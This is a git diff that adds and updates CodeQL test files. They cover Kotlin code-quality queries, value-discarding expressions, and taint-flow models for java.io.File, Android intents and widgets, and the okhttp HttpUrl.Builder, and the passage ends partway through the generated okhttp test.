diff --git a/java/ql/test/kotlin/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref b/java/ql/test/kotlin/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref
new file mode 100644
index 00000000000..c74780e7d24
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref
@@ -0,0 +1 @@
+Advisory/Declarations/MissingOverrideAnnotation.ql
\ No newline at end of file
diff --git a/java/ql/test/kotlin/query-tests/MissingOverrideAnnotation/Test.kt b/java/ql/test/kotlin/query-tests/MissingOverrideAnnotation/Test.kt
new file mode 100644
index 00000000000..40d93462641
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/MissingOverrideAnnotation/Test.kt
@@ -0,0 +1,25 @@
+open class A {
+    open fun m(): Int {
+        return 23
+    }
+
+    private fun n() {}
+
+    open val p = 5
+}
+
+interface I {
+    fun o()
+}
+
+class B : A(), I {
+    override fun m(): Int {
+        return 42
+    }
+
+    fun n() {}
+
+    override fun o() { }
+
+    override val p = 7
+}
\ No newline at end of file
diff --git a/java/ql/test/kotlin/query-tests/NullMaybe/NullMaybe.expected b/java/ql/test/kotlin/query-tests/NullMaybe/NullMaybe.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/kotlin/query-tests/NullMaybe/NullMaybe.qlref b/java/ql/test/kotlin/query-tests/NullMaybe/NullMaybe.qlref
new file mode 100644
index 00000000000..ab01473d8e5
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/NullMaybe/NullMaybe.qlref
@@ -0,0 +1 @@
+Likely Bugs/Nullness/NullMaybe.ql
diff --git a/java/ql/test/kotlin/query-tests/NullMaybe/Test.kt b/java/ql/test/kotlin/query-tests/NullMaybe/Test.kt
new file mode 100644
index 00000000000..dc86a0eb34c
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/NullMaybe/Test.kt
@@ -0,0 +1,7 @@
+fun fn(b: Boolean) {
+    var d: Double? = null
+    if (b) {
+        d = 1.0
+    }
+    println(d!!)
+}
diff --git a/java/ql/test/kotlin/query-tests/UselessNullCheck/Test.kt b/java/ql/test/kotlin/query-tests/UselessNullCheck/Test.kt
new file mode 100644
index 00000000000..b98ebcdf43e
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/UselessNullCheck/Test.kt
@@ -0,0 +1,11 @@
+fun fn(x:Any?, y: Any?) {
+    if (x == null && y == null) {
+        throw Exception()
+    }
+
+    if (x != null) {
+        println("x not null")
+    } else if (y != null) {
+        println("y not null")
+    }
+}
diff --git a/java/ql/test/kotlin/query-tests/UselessNullCheck/UselessNullCheck.expected b/java/ql/test/kotlin/query-tests/UselessNullCheck/UselessNullCheck.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/kotlin/query-tests/UselessNullCheck/UselessNullCheck.qlref b/java/ql/test/kotlin/query-tests/UselessNullCheck/UselessNullCheck.qlref
new file mode 100644
index 00000000000..8b5a095d396
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/UselessNullCheck/UselessNullCheck.qlref
@@ -0,0 +1 @@
+Language Abuse/UselessNullCheck.ql
diff --git a/java/ql/test/kotlin/query-tests/UselessParameter/Test.kt b/java/ql/test/kotlin/query-tests/UselessParameter/Test.kt
new file mode 100644
index 00000000000..f476eba616c
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/UselessParameter/Test.kt
@@ -0,0 +1,9 @@
+interface A<T, V> {
+    fun setValue(a: T, b: V)
+}
+
+class B : A<B, Int> {
+    override fun setValue(a: B, b: Int) {
+        println("a")
+    }
+}
diff --git a/java/ql/test/kotlin/query-tests/UselessParameter/UselessParameter.expected b/java/ql/test/kotlin/query-tests/UselessParameter/UselessParameter.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/kotlin/query-tests/UselessParameter/UselessParameter.qlref b/java/ql/test/kotlin/query-tests/UselessParameter/UselessParameter.qlref
new file mode 100644
index 00000000000..b1ceb2751a6
--- /dev/null
+++ b/java/ql/test/kotlin/query-tests/UselessParameter/UselessParameter.qlref
@@ -0,0 +1 @@
+DeadCode/UselessParameter.ql
\ No newline at end of file
diff --git a/java/ql/test/library-tests/JDK/PrintAst.expected b/java/ql/test/library-tests/JDK/PrintAst.expected
index e6f240b325e..8074ef1b965 100644
--- a/java/ql/test/library-tests/JDK/PrintAst.expected
+++ b/java/ql/test/library-tests/JDK/PrintAst.expected
@@ -73,6 +73,11 @@ jdk/StringMatch.java:
 #    5|           0: [MethodAccess] matches(...)
 #    5|             -1: [VarAccess] STR
 #    5|             0: [StringLiteral] "[a-z]+"
+#    5|               0: [RegExpPlus] [a-z]+
+#    5|                 0: [RegExpCharacterClass] [a-z]
+#    5|                   0: [RegExpCharacterRange] a-z
+#    5|                     0: [RegExpConstant | RegExpNormalChar] a
+#    5|                     1: [RegExpConstant | RegExpNormalChar] z
 #    8|     5: [Method] b
 #    8|       3: [TypeAccess] void
 #    8|       5: [BlockStmt] { ... }
diff --git a/java/ql/test/library-tests/ValueDiscardingExpr/ValueDiscardingExpr.expected b/java/ql/test/library-tests/ValueDiscardingExpr/ValueDiscardingExpr.expected
new file mode 100644
index 00000000000..6a512fcdf32
--- /dev/null
+++ b/java/ql/test/library-tests/ValueDiscardingExpr/ValueDiscardingExpr.expected
@@ -0,0 +1,16 @@
+| ValueDiscardingExpr.java:9:9:9:18 | toString(...) |
+| ValueDiscardingExpr.java:18:9:18:13 | ...=... |
+| ValueDiscardingExpr.java:19:9:19:11 | ...++ |
+| ValueDiscardingExpr.java:20:9:20:11 | ++... |
+| ValueDiscardingExpr.java:21:9:21:11 | ...-- |
+| ValueDiscardingExpr.java:22:9:22:11 | --... |
+| ValueDiscardingExpr.java:24:9:24:20 | new Object(...) |
+| ValueDiscardingExpr.java:27:9:27:28 | clone(...) |
+| ValueDiscardingExpr.java:30:14:30:38 | append(...) |
+| ValueDiscardingExpr.java:35:17:35:43 | append(...) |
+| ValueDiscardingExpr.java:55:24:55:33 | toString(...) |
+| ValueDiscardingExpr.java:74:29:74:38 | toString(...) |
+| ValueDiscardingExpr.java:76:13:76:22 | toString(...) |
+| ValueDiscardingExpr.java:90:23:90:35 | new StmtExpr(...) |
+| ValueDiscardingExpr.java:91:23:91:36 | toString(...) |
+| ValueDiscardingExpr.java:95:25:95:37 | new String[] |
diff --git a/java/ql/test/library-tests/ValueDiscardingExpr/ValueDiscardingExpr.java b/java/ql/test/library-tests/ValueDiscardingExpr/ValueDiscardingExpr.java
new file mode 100644
index 00000000000..3dc9fbce8fa
--- /dev/null
+++ b/java/ql/test/library-tests/ValueDiscardingExpr/ValueDiscardingExpr.java
@@ -0,0 +1,100 @@
+package StmtExpr;
+
+import java.util.function.IntConsumer;
+import java.util.function.IntFunction;
+import java.util.function.Supplier;
+
+class StmtExpr {
+    void test() {
+        toString();
+
+        // Method call with `void` return type is not a ValueDiscardingExpr
+        System.out.println("test");
+
+        // LocalVariableDeclarationStatement with init is not a ValueDiscardingExpr
+        String s = toString();
+
+        int i;
+        i = 0;
+        i++;
+        ++i;
+        i--;
+        --i;
+
+        new Object();
+        // Language specification does not permit ArrayCreationExpression at locations where its
+        // value would be discard, but the value of a method access on it can be discarded
+        new int[] {}.clone();
+
+        // for statement init can discard value
+        for (System.out.append("init");;) {
+            break;
+        }
+
+        // for statement update discards value
+        for (;; System.out.append("update")) {
+            break;
+        }
+
+        // Method call with `void` return type is not a ValueDiscardingExpr
+        for (;; System.out.println("update")) {
+            break;
+        }
+
+        // variable declaration and condition are not ValueDiscardingExpr
+        for (int i1 = 0; i1 < 10;) { }
+        for (int i1, i2 = 0; i2 < 10;) { }
+        for (;;) {
+            break;
+        }
+
+        // Not a ValueDiscardingExpr
+        for (int i2 : new int[] {1}) { }
+
+        switch(1) {
+            default -> toString(); // ValueDiscardingExpr
+        }
+
+        switch(1) {
+            // Method call with `void` return type is not a ValueDiscardingExpr
+            default -> System.out.println();
+        }
+
+        String s2 = switch(1) {
+            // Expression in SwitchExpression case rule is not a ValueDiscardingExpr
+            default -> toString();
+        };
+
+        // Expression in lambda with non-void return type is not a ValueDiscardingExpr
+        Supplier<Object> supplier1 = () -> toString();
+        Supplier<Object> supplier2 = () -> {
+            return toString();
+        };
+        // Expression in lambda with void return type is ValueDiscardingExpr
+        Runnable r1 = () -> toString();
+        Runnable r2 = () -> {
+            toString();
+        };
+        // Lambda with method call with `void` return type is not a ValueDiscardingExpr
+        Runnable r3 = () -> System.out.println();
+        Runnable r4 = () -> {
+            System.out.println();
+        };
+
+        // Method reference with non-void return type has no ValueDiscardingExpr
+        Supplier<Object> supplier3 = StmtExpr::new;
+        IntFunction<Object> f = String[]::new;
+        Supplier<Object> supplier4 = this::toString;
+
+        // Method reference with void return type has ValueDiscardingExpr in implicit method body
+        Runnable r5 = StmtExpr::new;
+        Runnable r6 = this::toString;
+        // Interestingly a method reference expression with function type (int)->void allows usage of
+        // array creation expressions, even though a regular StatementExpression would not allow it,
+        // for example the ExpressionStatement `new String[1];` is not allowed by the JLS
+        IntConsumer c = String[]::new;
+
+        // Method reference referring to method with `void` return type is not a ValueDiscardingExpr
+        Runnable r7 = System.out::println;
+    }
+}
diff --git a/java/ql/test/library-tests/ValueDiscardingExpr/ValueDiscardingExpr.ql b/java/ql/test/library-tests/ValueDiscardingExpr/ValueDiscardingExpr.ql
new file mode 100644
index 00000000000..59b32c09a7f
--- /dev/null
+++ b/java/ql/test/library-tests/ValueDiscardingExpr/ValueDiscardingExpr.ql
@@ -0,0 +1,4 @@
+import java
+
+from ValueDiscardingExpr e
+select e
diff --git a/java/ql/test/library-tests/ValueDiscardingExpr/options b/java/ql/test/library-tests/ValueDiscardingExpr/options
new file mode 100644
index 00000000000..03edcc8fcc0
--- /dev/null
+++ b/java/ql/test/library-tests/ValueDiscardingExpr/options
@@ -0,0 +1 @@
+//semmle-extractor-options: --javac-args -source 14 -target 14
\ No newline at end of file
diff --git a/java/ql/test/library-tests/dataflow/external-models/steps.ql b/java/ql/test/library-tests/dataflow/external-models/steps.ql
index 09c5ca97764..ea6981742be 100644
--- a/java/ql/test/library-tests/dataflow/external-models/steps.ql
+++ b/java/ql/test/library-tests/dataflow/external-models/steps.ql
@@ -22,5 +22,5 @@ class SummaryModelTest extends SummaryModelCsv {
 }
 
 from DataFlow::Node node1, DataFlow::Node node2
-where FlowSummaryImpl::Private::Steps::summaryThroughStep(node1, node2, false)
+where FlowSummaryImpl::Private::Steps::summaryThroughStepTaint(node1, node2)
 select node1, node2
diff --git a/java/ql/test/library-tests/dataflow/local-additional-taint/localAdditionalTaintStep.ql b/java/ql/test/library-tests/dataflow/local-additional-taint/localAdditionalTaintStep.ql
index 977d332c36a..66f33278a3d 100644
--- a/java/ql/test/library-tests/dataflow/local-additional-taint/localAdditionalTaintStep.ql
+++ b/java/ql/test/library-tests/dataflow/local-additional-taint/localAdditionalTaintStep.ql
@@ -16,7 +16,7 @@ from DataFlow::Node src, DataFlow::Node sink
 where
   (
     localAdditionalTaintStep(src, sink) or
-    FlowSummaryImpl::Private::Steps::summaryThroughStep(src, sink, false)
+    FlowSummaryImpl::Private::Steps::summaryThroughStepTaint(src, sink)
   ) and
   not FlowSummaryImpl::Private::Steps::summaryLocalStep(src, sink, false) and
   not FlowSummaryImpl::Private::Steps::summaryReadStep(src, _, sink) and
diff --git a/java/ql/test/library-tests/dataflow/taint/B.java b/java/ql/test/library-tests/dataflow/taint/B.java
index 6e33111ad19..94a09dd915f 100644
--- a/java/ql/test/library-tests/dataflow/taint/B.java
+++ b/java/ql/test/library-tests/dataflow/taint/B.java
@@ -11,7 +11,7 @@ public class B {
 
   public static void sink(Object o) { }
 
-  public static void maintest() throws java.io.UnsupportedEncodingException, java.net.MalformedURLException {
+  public static void maintest() throws java.io.UnsupportedEncodingException, java.net.MalformedURLException, java.io.IOException {
     String[] args = taint();
     // tainted - access to main args
     String[] aaaargs = args;
@@ -156,6 +156,12 @@ public class B {
     // Tainted File to Path to File
     sink(new java.io.File(s).toPath().toFile());
 
+    // Tainted file to absolute file
+    sink(new java.io.File(s).getAbsoluteFile());
+
+    // Tainted file to canonical file
+    sink(new java.io.File(s).getCanonicalFile());
+
     return;
   }
 
diff --git a/java/ql/test/library-tests/dataflow/taint/test.expected b/java/ql/test/library-tests/dataflow/taint/test.expected
index 158b7977dba..451248e18c0 100644
--- a/java/ql/test/library-tests/dataflow/taint/test.expected
+++ b/java/ql/test/library-tests/dataflow/taint/test.expected
@@ -41,6 +41,8 @@
 | B.java:15:21:15:27 | taint(...) | B.java:151:10:151:44 | toURL(...) |
 | B.java:15:21:15:27 | taint(...) | B.java:154:10:154:37 | toPath(...) |
 | B.java:15:21:15:27 | taint(...) | B.java:157:10:157:46 | toFile(...) |
+| B.java:15:21:15:27 | taint(...) | B.java:160:10:160:46 | getAbsoluteFile(...) |
+| B.java:15:21:15:27 | taint(...) | B.java:163:10:163:47 | getCanonicalFile(...) |
 | CharSeq.java:7:26:7:32 | taint(...) | CharSeq.java:8:12:8:14 | seq |
 | CharSeq.java:7:26:7:32 | taint(...) | CharSeq.java:11:12:11:21 | seqFromSeq |
 | CharSeq.java:7:26:7:32 | taint(...) | CharSeq.java:14:12:14:24 | stringFromSeq |
diff --git a/java/ql/test/library-tests/fields/PrintAst.expected b/java/ql/test/library-tests/fields/PrintAst.expected
index cd24cef4fe0..b762ad0bc34 100644
--- a/java/ql/test/library-tests/fields/PrintAst.expected
+++ b/java/ql/test/library-tests/fields/PrintAst.expected
@@ -3,7 +3,7 @@ fields/FieldTest.java:
 #    3|   1: [Class] FieldTest
 #    4|     4: [FieldDeclaration] float ff, ...;
 #    4|       -1: [TypeAccess] float
-#    4|       1: [FloatingPointLiteral] 2.3f
+#    4|       1: [FloatLiteral] 2.3f
 #    5|     5: [FieldDeclaration] Object obj, ...;
 #    5|       -1: [TypeAccess] Object
 #    5|       0: [NullLiteral] null
diff --git a/java/ql/test/library-tests/frameworks/android/intent/AndroidManifest.xml b/java/ql/test/library-tests/frameworks/android/intent/AndroidManifest.xml
new file mode 100644
index 00000000000..0be6a0ae8f8
--- /dev/null
+++ b/java/ql/test/library-tests/frameworks/android/intent/AndroidManifest.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:versionCode="1"
+    android:versionName="1.0"
+    package="com.example.app">
+
+    <application
+        android:allowBackup="true"
+        android:icon="@mipmap/ic_launcher"
+        android:roundIcon="@mipmap/ic_launcher_round"
+        android:label="@string/app_name"
+        android:supportsRtl="true"
+        android:theme="@style/AppTheme">
+
+        <activity
+            android:name=".TestStartActivityToGetIntent.SomeActivity"
+            android:exported="false">
+        </activity>
+
+    </application>
+</manifest>
diff --git a/java/ql/test/library-tests/frameworks/android/intent/TestStartActivityToGetIntent.java b/java/ql/test/library-tests/frameworks/android/intent/TestStartActivityToGetIntent.java
new file mode 100644
index 00000000000..3d497aac93d
--- /dev/null
+++ b/java/ql/test/library-tests/frameworks/android/intent/TestStartActivityToGetIntent.java
@@ -0,0 +1,25 @@
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+
+public class TestStartActivityToGetIntent {
+
+    static Object source() {
+        return null;
+    }
+
+    static void sink(Object sink) {}
+
+    public void test(Context ctx) {
+        Intent intent = new Intent(null, SomeActivity.class);
+        intent.putExtra("data", (String) source());
+        ctx.startActivity(intent);
+    }
+
+    static class SomeActivity extends Activity {
+
+        public void test() {
+            sink(getIntent().getStringExtra("data")); // $ hasValueFlow
+        }
+    }
+}
diff --git a/java/ql/test/library-tests/frameworks/android/widget/TestWidget.java b/java/ql/test/library-tests/frameworks/android/widget/TestWidget.java
new file mode 100644
index 00000000000..7a7285180f0
--- /dev/null
+++ b/java/ql/test/library-tests/frameworks/android/widget/TestWidget.java
@@ -0,0 +1,11 @@
+import android.widget.EditText;
+
+public class TestWidget {
+
+    private void sink(Object sink) {}
+
+    public void test(EditText t) {
+        sink(t.getText().toString()); // $ hasTaintFlow
+    }
+}
+
diff --git a/java/ql/test/library-tests/frameworks/android/widget/options b/java/ql/test/library-tests/frameworks/android/widget/options
new file mode 100644
index 00000000000..33cdc1ea940
--- /dev/null
+++ b/java/ql/test/library-tests/frameworks/android/widget/options
@@ -0,0 +1 @@
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/google-android-9.0.0
diff --git a/java/ql/test/library-tests/frameworks/android/widget/test.expected b/java/ql/test/library-tests/frameworks/android/widget/test.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/library-tests/frameworks/android/widget/test.ql b/java/ql/test/library-tests/frameworks/android/widget/test.ql
new file mode 100644
index 00000000000..29b5248779a
--- /dev/null
+++ b/java/ql/test/library-tests/frameworks/android/widget/test.ql
@@ -0,0 +1,7 @@
+import java
+import semmle.code.java.dataflow.FlowSources
+import TestUtilities.InlineFlowTest
+
+class SourceTaintFlowConf extends DefaultTaintFlowConf {
+  override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }
+}
diff --git a/java/ql/test/library-tests/frameworks/guava/generated/collect/CONSISTENCY/typeParametersInScope.expected b/java/ql/test/library-tests/frameworks/guava/generated/collect/CONSISTENCY/typeParametersInScope.expected
new file mode 100644
index 00000000000..e384727464d
--- /dev/null
+++ b/java/ql/test/library-tests/frameworks/guava/generated/collect/CONSISTENCY/typeParametersInScope.expected
@@ -0,0 +1 @@
+| Type Test uses out-of-scope type variable K. Note the Java extractor is known to sometimes do this; the Kotlin extractor should not. |
diff --git a/java/ql/test/library-tests/frameworks/okhttp/Test.java b/java/ql/test/library-tests/frameworks/okhttp/Test.java
new file mode 100644
index 00000000000..7d6517bddf0
--- /dev/null
+++ b/java/ql/test/library-tests/frameworks/okhttp/Test.java
@@ -0,0 +1,363 @@
+package generatedtest;
+
+import java.net.URI;
+import java.net.URL;
+import okhttp3.HttpUrl;
+import okhttp3.Request;
+
+// Test case generated by GenerateFlowTestCase.ql
+public class Test {
+
+	Object source() {
+		return null;
+	}
+
+	void sink(Object o) {}
+
+	public void testSinks() {
+		new Request((HttpUrl) source(), null, null, null, null); // $ hasValueFlow
+		new Request.Builder().url((String) source()); // $ hasValueFlow
+	}
+
+	public void test() throws Exception {
+
+		{
+			// "okhttp3;HttpUrl$Builder;false;addEncodedPathSegment;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.addEncodedPathSegment(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;addEncodedPathSegment;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.addEncodedPathSegment(in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;addEncodedPathSegments;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.addEncodedPathSegments(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;addEncodedPathSegments;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.addEncodedPathSegments(in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;addEncodedQueryParameter;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.addEncodedQueryParameter(null, null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;addEncodedQueryParameter;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.addEncodedQueryParameter(in, null);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;addPathSegment;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.addPathSegment(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;addPathSegment;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.addPathSegment(in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;addPathSegments;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.addPathSegments(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;addPathSegments;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.addPathSegments(in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;addQueryParameter;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.addQueryParameter(null, null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;addQueryParameter;;;Argument[0..1];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.addQueryParameter(in, null);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;addQueryParameter;;;Argument[0..1];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.addQueryParameter(null, in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;build;;;Argument[-1];ReturnValue;taint"
+			HttpUrl out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.build();
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;encodedFragment;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.encodedFragment(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;encodedFragment;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.encodedFragment(in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;encodedPassword;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.encodedPassword(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;encodedPath;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.encodedPath(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;encodedPath;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.encodedPath(in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;encodedQuery;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.encodedQuery(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;encodedQuery;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.encodedQuery(in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;encodedUsername;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.encodedUsername(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;fragment;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.fragment(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;fragment;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.fragment(in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;host;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.host(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;host;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.host(in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;password;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.password(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;port;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.port(0);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;port;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			int in = (int) source();
+			out.port(in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;query;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.query(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;query;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.query(in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;removeAllEncodedQueryParameters;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.removeAllEncodedQueryParameters(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;removeAllQueryParameters;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.removeAllQueryParameters(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;removePathSegment;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.removePathSegment(0);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;scheme;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.scheme(null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;scheme;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.scheme(in);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;setEncodedPathSegment;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.setEncodedPathSegment(0, null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;setEncodedPathSegment;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			int in = (int) source();
+			out.setEncodedPathSegment(in, null);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;setEncodedQueryParameter;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.setEncodedQueryParameter(null, null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;setEncodedQueryParameter;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.setEncodedQueryParameter(in, null);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;setPathSegment;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.setPathSegment(0, null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;setPathSegment;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			int in = (int) source();
+			out.setPathSegment(in, null);
+			sink(out); // $ hasTaintFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;setQueryParameter;;;Argument[-1];ReturnValue;value"
+			HttpUrl.Builder out = null;
+			HttpUrl.Builder in = (HttpUrl.Builder) source();
+			out = in.setQueryParameter(null, null);
+			sink(out); // $ hasValueFlow
+		}
+		{
+			// "okhttp3;HttpUrl$Builder;false;setQueryParameter;;;Argument[0];Argument[-1];taint"
+			HttpUrl.Builder out = null;
+			String in = (String) source();
+			out.setQueryParameter(in, null);
+			sink(out); // $ hasTaintFlow
+		}
+		{
